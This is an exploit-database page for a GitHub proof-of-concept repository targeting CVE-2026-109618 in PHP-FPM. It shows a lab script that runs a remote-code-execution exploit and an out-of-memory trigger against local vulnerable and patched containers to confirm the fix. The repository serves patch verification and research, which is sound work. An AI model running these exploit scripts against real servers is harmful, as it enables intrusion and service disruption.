Exploit database

GH-7cd2a2266a74c50756d1fca034d18cb1

bohesama1999/php2shell-exp

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-109618

412 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files7
bohesama1999/php2shell-expRevision 0438273aa2fb

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

verify.sh

Suggested starting fileShell · 1,964 bytes
#!/usr/bin/env bash
# Bring the lab up and print the differential matrix.
#
#   18080 = php:8.2.34-fpm (vulnerable), 18081 = php:8.2.35-fpm (patched)
#
set -u
cd "$(dirname "$0")"
cd lab

echo "[*] starting containers ..."
docker compose up -d >/dev/null

for i in $(seq 1 40); do
    a=$(curl -s -m 2 http://127.0.0.1:18080/index.php || true)
    b=$(curl -s -m 2 http://127.0.0.1:18081/index.php || true)
    [ -n "$a" ] && [ -n "$b" ] && break
    sleep 1
done

echo "[*] versions"
printf '    18080: %s\n' "$(curl -s http://127.0.0.1:18080/index.php | head -1)"
printf '    18081: %s\n' "$(curl -s http://127.0.0.1:18081/index.php | head -1)"

rc_poc_v=0; rc_poc_p=0; rc_exp_v=0; rc_exp_p=0

echo
echo "=== PoC: pre-RINIT destructor, 8.2.34 ==="
python3 ../exp/poc_pre_rinit.py --target http://127.0.0.1:18080 --tag "vuln-$$" || rc_poc_v=$?

echo
echo "=== PoC: pre-RINIT destructor, 8.2.35 ==="
python3 ../exp/poc_pre_rinit.py --target http://127.0.0.1:18081 --tag "patched-$$" || rc_poc_p=$?

echo
echo "=== RCE: command execution, 8.2.34 ==="
python3 ../exp/exp_rce.py --target http://127.0.0.1:18080 --command "id; hostname" || rc_exp_v=$?

echo
echo "=== RCE: command execution, 8.2.35 ==="
python3 ../exp/exp_rce.py --target http://127.0.0.1:18081 --command "id; hostname" || rc_exp_p=$?

echo
echo "=== OOM trigger (8.2.34) ==="
python3 ../exp/poc_oom.py --target http://127.0.0.1:18080 --size-mb 24 || true

echo
echo "=== matrix ==="
printf '    %-42s %s\n' "PoC 8.2.34  (expect 0)" "$rc_poc_v"
printf '    %-42s %s\n' "PoC 8.2.35  (expect 1)" "$rc_poc_p"
printf '    %-42s %s\n' "RCE 8.2.34  (expect 0)" "$rc_exp_v"
printf '    %-42s %s\n' "RCE 8.2.35  (expect 1)" "$rc_exp_p"

if [ "$rc_poc_v" -eq 0 ] && [ "$rc_poc_p" -ne 0 ] && [ "$rc_exp_v" -eq 0 ] && [ "$rc_exp_p" -ne 0 ]; then
    echo
    echo "[+] differential holds: exploitable on 8.2.34, blocked on 8.2.35"
    exit 0
fi
echo
echo "[-] differential did not hold; see output above"
exit 1